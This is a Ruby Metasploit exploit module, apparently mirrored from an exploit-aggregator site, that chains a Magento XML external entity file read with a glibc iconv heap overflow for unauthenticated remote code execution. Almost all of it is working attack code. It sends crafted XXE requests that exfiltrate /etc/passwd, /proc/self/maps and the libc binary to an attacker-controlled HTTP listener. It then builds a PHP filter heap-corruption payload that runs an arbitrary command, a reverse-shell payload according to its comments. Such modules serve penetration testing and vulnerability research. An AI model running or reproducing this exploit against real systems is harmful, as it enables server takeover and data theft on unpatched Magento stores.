## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-MAGENTO_XXE_TO_GLIBC_BUF_OVERFLOW-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
require 'elftools'
class ProcSelfMapsError < StandardError; end
PAD = 20
HEAP_SIZE = 2 * 1024 * 1024
BUG = 'ๅ'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)',
'Description' => %q{
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
earlier if the PHP and glibc versions are also vulnerable:
- 2.4.7 and earlier
- 2.4.6-p5 and earlier
- 2.4.5-p7 and earlier
- 2.4.4-p8 and earlier
Vulnerable PHP versions:
- From PHP 7.0.0 (2015) to 8.3.7 (2024)
Vulnerable iconv() function in the GNU C Library:
- 2.39 and earlier
The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
CVE-2024-34102 is an XML External Entity vulnerability leveraging PHP filters to read arbitrary files from the target
system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
of later in the chain.
With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.
},
'Author' => [
'Sergey Temnikov', # CVE-2024-34102 Discovery
'Charles Fol', # CVE-2024-2961 Discovery + RCE PoC
'Heyder', # module for CVE-2024-34102
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'],
[ 'URL', 'https://sansec.io/research/cosmicsting'],
[ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'],
[ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on
[ 'CVE', '2024-2961'],
[ 'CVE', '2024-34102']
],
'License' => MSF_LICENSE,
'Platform' => %w[linux unix],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
# Tested with cmd/linux/http/x64/meterpreter_reverse_tcp
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]),
]
)
end
def check_magento
etc_password = download_file('/etc/passwd')
vprint_status('Attempting to download /etc/passwd')
if etc_password.nil?
CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')
else
CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')
end
end
def check_php_rce_requirements
text = Rex::Text.rand_text_alpha(50)
base64 = Rex::Text.encode_base64(text)
path1 = "data:text/plain;base64,#{base64}"
result1 = download_file(path1)
if result1 == text
vprint_good('The data wrapper is working')
else
return CheckCode::Safe('The data:// wrapper does not work')
end
text = Rex::Text.rand_text_alpha(50)
base64 = Rex::Text.encode_base64(text)
path2 = "php://filter//resource=data:text/plain;base64,#{base64}"
result2 = download_file(path2)
if result2 == text
vprint_good('The filter wrapper is working')
else
return CheckCode::Safe('The php://filter/ wrapper does not work')
end
text = Rex::Text.rand_text_alpha(50)
compressed_text = compress(text)
base64 = Base64.encode64(compressed_text).gsub("\n", '')
path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"
result3 = download_file(path)
if result3 == text
vprint_good('The zlib extension is enabled')
else
CheckCode::Safe('The zlib extension is not enabled')
end
CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')
end
def check_libc_version
begin
@libc_binary = get_libc
rescue ProcSelfMapsError => e
return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
end
return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary
# A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36."
printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip)
libc_version = nil
printable_strings.each do |string|
if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/
libc_version = Rex::Version.new(Regexp.last_match(1))
break
end
end
CheckCode::Unknown('Unable to determine the version of libc') unless libc_version
if libc_version > Rex::Version.new('2.39')
CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")
end
CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")
end
def check
setup_module
print_status('module setup')
magento_checkcode = check_magento
return magento_checkcode unless magento_checkcode.code == 'vulnerable'
print_good(magento_checkcode.reason)
php_checkcode = check_php_rce_requirements
return php_checkcode unless php_checkcode.code == 'appears'
print_good(php_checkcode.reason)
libc_version_checkcode = check_libc_version
return libc_version_checkcode unless libc_version_checkcode.code == 'appears'
print_good(libc_version_checkcode.reason)
CheckCode::Appears
end
def download_file(file)
@filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}"
@target_file = file
@file_data = nil
send_path(@filter_path)
retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do
break if @file_data
end
@file_data
end
def send_path(path)
@filter_path = Rex::Text.encode_base64(path)
vprint_status('Sending XXE request')
vprint_status("Filter path being sent: #{@filter_path}")
system_entity = Rex::Text.rand_text_alpha_lower(4..8)
xml = "<?xml version='1.0' ?>"
xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
xml += '['
xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
xml += " <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param}; "
xml += ']'
xml += "> <r>&#{@xxe_exfil};</r>"
json = {
address: {
totalsReader: {
collectorList: {
totalCollector: {
sourceData: {
data: xml,
options: 524290
}
}
}
}
}
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),
'ctype' => 'application/json',
'data' => JSON.generate(json)
})
res
end
def find_main_heap(regions)
# Any anonymous RW region with a size greater than the base heap size is a candidate.
# The heap is at the bottom of the region.
heaps = regions.reverse.each_with_object([]) do |region, arr|
next unless region[:permissions] == 'rw-p' &&
region[:stop] - region[:start] >= HEAP_SIZE &&
(region[:stop] & (HEAP_SIZE - 1)).zero? &&
['', '[anon:zend_alloc]'].include?(region[:path])
arr << (region[:stop] - HEAP_SIZE + 0x40)
end
if heaps.empty?
raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps"
end
first = heaps[0]
if heaps.size > 1
heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ')
vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)")
else
vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap")
end
vprint_good('Successfully extracted the location in memory of the PHP heap')
first
end
def get_libc_region(regions, *names)
libc_region = regions.find do |region|
names.any? { |name| region[:path].include?(name) }
end
unless libc_region
raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps'
end
vprint_good("Successfully located the libc region in memory: #{libc_region}")
libc_region
end
def get_libc
@regions ||= get_regions
@info['heaps'] = find_main_heap(@regions)
@libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so')
download_file(@libc_region[:path])
end
def get_symbols_and_addresses
begin
@libc_binary ||= get_libc
rescue ProcSelfMapsError => e
fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
end
fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary
# ELFFile expects a file, instead of writing it to disk use StringIO
libc_binary_file = StringIO.new(@libc_binary)
elf = ELFTools::ELFFile.new(libc_binary_file)
symtab_section = elf.section_by_name('.dynsym')
symbols = symtab_section.symbols
@info['__libc_malloc'] = nil
@info['__libc_system'] = nil
@info['__libc_realloc'] = nil
symbols.each do |symbol|
if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name
@info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]
end
end
fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']
vprint_status("__libc_malloc: #{@info['__libc_malloc']}")
vprint_status("__libc_system: #{@info['__libc_system']}")
vprint_status("__libc_realloc: #{@info['__libc_realloc']}")
end
def get_regions
# Obtains the memory regions of the PHP process by querying /proc/self/maps.
maps = download_file('/proc/self/maps')
raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank?
maps = maps.force_encoding('UTF-8')
pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/
regions = []
# Example lines from: /proc/self/maps
# 712eebe00000-712eec000000 rw-p 00000000 00:00 0 [anon:zend_alloc]
# 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348 /opt/bitnami/apache/modules/mod_mime.so
maps.each_line do |region|
if (match = pattern.match(region))
start_addr = match[1].to_i(16)
stop_addr = match[2].to_i(16)
permissions = match[3]
path = match[4]
if path.include?('/') || path.include?('[')
path = path.split(' ', 4).last
else
path = ''
end
current = {
start: start_addr,
stop: stop_addr,
permissions: permissions,
path: path
}
regions << current
else
raise ProcSelfMapsError, '/proc/self/maps is unparsable'
end
end
vprint_good('Successfully downloaded /proc/self/maps and parsed regions')
regions
end
def compress(data)
# Compress the data and remove the 2-byte header and 4-byte checksum
compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)
compressed_data[2..-5]
end
def compressed_bucket(data)
# Returns a chunk of size 0x8000 that, when dechunked, returns the data.
chunked_chunk(data, 0x8000)
end
def qpe(data)
# Emulates quoted-printable-encode.
data.bytes.map { |x| sprintf('=%02X', x) }.join
end
def ptr_bucket(*ptrs, size: nil)
# Raise an error if size is specified and doesn't match the expected length
if size && ptrs.length * 8 != size
fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method')
end
bucket = ptrs.map { |ptr| p64(ptr) }.join
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
bucket
end
def p64(value)
[value].pack('Q') # Pack as 64-bit little-endian
end
def chunked_chunk(data, size = nil)
if size.nil?
size = data.bytesize + 8
end
keep = data.bytesize + 2 # for "\n\n"
hex_size = data.bytesize.to_s(16)
padded_hex_size = hex_size.rjust(size - keep, '0')
"#{padded_hex_size}\n#{data}\n".b
end
def build_exploit_path
addr_free_slot = @info['heaps'] + 0x20
addr_custom_heap = @info['heaps'] + 0x0168
addr_fake_bin = addr_free_slot - 0x10
cs = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = cs - 0x18
pad = "\x00" * pad_size
3.times { pad = chunked_chunk(pad, pad.length + 6) }
pad = compressed_bucket(pad)
step1_size = 1
step1 = "\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, cs)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = "\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, cs)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin)
step2_write_ptr = chunked_chunk(step2_write_ptr, cs)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = cs
step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = cs
step4 = '=00' + "\x00" * (step4_size - 1)
3.times { step4 = chunked_chunk(step4) }
step4 = compressed_bucket(step4)
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
addr_custom_heap, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
@info['heaps'], # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size: cs
)
step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)
step4_use_custom_heap_size = 0x140
# Fetch payloads run the payload in the background and results in multiple sessions being returned.
# If we prevent the payload from running in the background and kill the parent process after the payload completes
# running successfully we ensure only one session gets returned and improves the stability allowing the exploit to
# be run consecutively without issue.
if payload.encoded.ends_with?(' &')
command = "#{payload.encoded}& kill -9 $PPID"
else
command = "#{payload.encoded} && kill -9 $PPID"
end
command = (command + "\x00").b
command = command.ljust(step4_use_custom_heap_size, "\x00".b)
vprint_status("COMMAND: #{command}")
step4_use_custom_heap = command
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))
resource = compress(compress(pages))
resource = Base64.encode64(resource.b)
resource = "data:text/plain;base64,#{resource.gsub("\n", '')}"
filters = [
# Create buckets
'zlib.inflate',
'zlib.inflate',
# Step 0: Setup heap
'dechunk',
'convert.iconv.latin1.latin1',
# Step 1: Reverse FL order
'dechunk',
'convert.iconv.latin1.latin1',
# Step 2: Put fake pointer and make FL order back to normal
'dechunk',
'convert.iconv.latin1.latin1',
# Step 3: Trigger overflow
'dechunk',
'convert.iconv.UTF-8.ISO-2022-CN-EXT',
# Step 4: Allocate at arbitrary address and change zend_mm_heap
'convert.quoted-printable-decode',
'convert.iconv.latin1.latin1',
]
filters_string = filters.join('/')
"php://filter/#{filters_string}/resource=#{resource}"
end
def setup_module
@url_file = Rex::Text.rand_text_alpha_lower(4..8)
@url_data = Rex::Text.rand_text_alpha_lower(4..8)
@xxe_param = Rex::Text.rand_text_alpha_lower(4..8)
@xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)
@info = Hash.new
@module_setup_complete = true
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
end
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
},
'ssl' => false
})
print_status('Server started')
end
def exploit
setup_module unless @module_setup_complete
fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size
print_status('Attempting to parse libc to extract necessary symbols and addresses')
get_symbols_and_addresses
print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps')
path = build_exploit_path
print_status('Sending payload...')
send_path(path)
end
def cleanup
# Clean and stop HTTP server
if service
begin
service.remove_resource(datastore['URIPATH'])
service.deref
service.stop
self.service = nil
rescue StandardError => e
print_error("Failed to stop http server due to #{e}")
end
end
super
end
def on_request_uri(cli, req)
super
url_parts = req.uri.split('/')
case url_parts[1]
when @url_file
path = Rex::Text.decode_base64(url_parts[2])
data = Rex::Text.rand_text_alpha_lower(4..8)
response = "
<!ENTITY % #{data} SYSTEM \"#{path}\">
<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"
send_response(cli, response)
when @url_data
@file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))
send_response(cli, '')
else
print_bad('Server received an unexpected request.')
end
end
end